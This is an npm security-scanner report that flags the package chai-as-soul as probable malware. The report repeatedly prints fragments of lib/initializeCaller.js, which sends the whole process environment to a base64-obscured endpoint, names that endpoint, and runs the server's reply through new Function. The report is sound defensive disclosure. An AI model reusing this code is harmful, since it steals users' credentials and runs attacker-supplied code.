Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Loading npm security reports…

chai-as-soul@2.3.5: Suspicious npm security report (Warn) | LPM Firewall

Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Flagged — allowed with a warning

Allowed by default policy, but 12 finding(s) warrant review before installing.

View on npm All versions

registry / chai-as-soul / 2.3.5

chai-as-soul@2.3.5

This document describes the management of vulnerabilities for the project and all modules within the organization.

AI Security Review

scanned 11h ago · by lpm-firewall-ai

An unreferenced module exfiltrates environment variables to an obfuscated endpoint and executes its response. No install-time or normal package-entry trigger is present in the extracted package.

Static reason

One or more suspicious static signals were detected.

Trigger

Directly requiring lib/initializeCaller.js.

Impact

Secrets in process.env could be sent remotely; the response could run arbitrary Node code.

Mechanism

environment exfiltration followed by remote code execution

Rationale

The payload is concrete credential exfiltration and remote execution, but source inspection found no lifecycle hook or import path that activates it during installation or ordinary package use.

Evidence

package.jsonlib/initializeCaller.js

Network endpoints1

ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df

Decision evidence

public snapshot

AI called this Suspicious at 96.0% confidence as Malware with low false-positive risk.

Evidence for warning

Obfuscated endpoint is decoded at runtime.
Posts the complete process environment to that endpoint.

© 2026 LPM Firewall

Product

Threat feed How it works Policy

LPM

LPM.dev Registry

Executes server-provided text with Function and require.

Evidence against

package.json has no lifecycle hooks.
The declared main file is absent, and no package source imports initializeCaller.js.

Behavioral surface

Source

ChildProcessEnvironmentVarsEvalNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 15 file(s), 50.9 KB of source, external domains: github.com

Source & flagged code

6 flagged · loading source

lib/initializeCaller.jsView file

2L3: const axios = require("axios"); L4: const configEndpoint = "[redacted]"; ... L8: Buffer.from(configEndpoint, 'base64').toString('utf-8'), L9: { ...process.env }, L10: { headers: { "x-secret-header" : "secret" } } ... L12: try { L13: const executor = new Function("require", response.data); L14: executor(require);

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/initializeCaller.jsView on unpkg · L2

2L3: const axios = require("axios"); L4: const configEndpoint = "[redacted]"; ... L6: (async function initializeCaller(..._args) { L7: const response = await axios.post( L8: Buffer.from(configEndpoint, 'base64').toString('utf-8'), L9: { ...process.env }, L10: { headers: { "x-secret-header" : "secret" } } ... L12: try { L13: const executor = new Function("require", response.data); L14: executor(require);

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/initializeCaller.jsView on unpkg · L2

3const axios = require("axios"); const configEndpoint = "[redacted]";

Medium

Ai Review Evidence

Obfuscated endpoint is decoded at runtime.

lib/initializeCaller.jsView on unpkg · L3

7const response = await axios.post( Buffer.from(configEndpoint, 'base64').toString('utf-8'), { ...process.env },

Medium

Ai Review Evidence

Posts the complete process environment to that endpoint.

lib/initializeCaller.jsView on unpkg · L7

13const executor = new Function("require", response.data); executor(require);

Medium

Ai Review Evidence

Executes server-provided text with Function and require.

lib/initializeCaller.jsView on unpkg · L13

12try { L13: const executor = new Function("require", response.data); L14: executor(require);

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/initializeCaller.jsView on unpkg · L12

Findings

3 High5 Medium4 Low

HighChild Process

HighSame File Env Network Executionlib/initializeCaller.js

HighBase64 Obscured Urllib/initializeCaller.js

MediumNetwork

MediumEnvironment Vars

MediumAi Review Evidencelib/initializeCaller.js

MediumAi Review Evidencelib/initializeCaller.js

MediumAi Review Evidencelib/initializeCaller.js

LowScripts Present

LowEvallib/initializeCaller.js

LowHigh Entropy Strings

LowUrl Strings

96%Warn

Verdict confidence

IntentMalware

TypeStaged Payload Carrier

False-positive riskLow

Review stagesource_first_review

Firewall policyMatched warn-list

Package metadata

npm

AuthorRobert King

Maintainersbritt1010

Version2.3.6

PublishedAug 20, 2026

LicenseMIT

Dependencies2

Integrityverified

Package size86.6 KB

Files41

Keywordsfastloggerstreamjson

Runtime surface

package.json

Entrypointsmain → index.jstypes → ./index.d.ts

RuntimeNo engine / OS / CPU constraints

Artifact262 KB · 41 files1 signature(s)

Install lifecycleNo install hooks · other: smoke:file, smoke:pino

Behavioral surface

ChildProcessEnvironmentVarsEvalNetworkHighEntropyStringsUrlStringsManifest: clean

LPM CLI

Source & flagged code

6 flagged

lib/initializeCaller.jsView file

2L3: const axios = require("axios"); L4: const configEndpoint = "[redacted]"; ... L8: Buffer.from(configEndpoint, 'base64').toString('utf-8'), L9: { ...process.env }, L10: { headers: { "x-secret-header" : "secret" } } ... L12: try { L13: const executor = new Function("require", response.data); L14: executor(require);

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/initializeCaller.jsView on unpkg · L2

2L3: const axios = require("axios"); L4: const configEndpoint = "[redacted]"; ... L6: (async function initializeCaller(..._args) { L7: const response = await axios.post( L8: Buffer.from(configEndpoint, 'base64').toString('utf-8'), L9: { ...process.env }, L10: { headers: { "x-secret-header" : "secret" } } ... L12: try { L13: const executor = new Function("require", response.data); L14: executor(require);

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/initializeCaller.jsView on unpkg · L2

3const axios = require("axios"); const configEndpoint = "[redacted]";

Medium

Ai Review Evidence

Obfuscated endpoint is decoded at runtime.

lib/initializeCaller.jsView on unpkg · L3

7const response = await axios.post( Buffer.from(configEndpoint, 'base64').toString('utf-8'), { ...process.env },

Medium

Ai Review Evidence

Posts the complete process environment to that endpoint.

lib/initializeCaller.jsView on unpkg · L7

13const executor = new Function("require", response.data); executor(require);

Medium

Ai Review Evidence

Executes server-provided text with Function and require.

lib/initializeCaller.jsView on unpkg · L13

12try { L13: const executor = new Function("require", response.data); L14: executor(require);

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/initializeCaller.jsView on unpkg · L12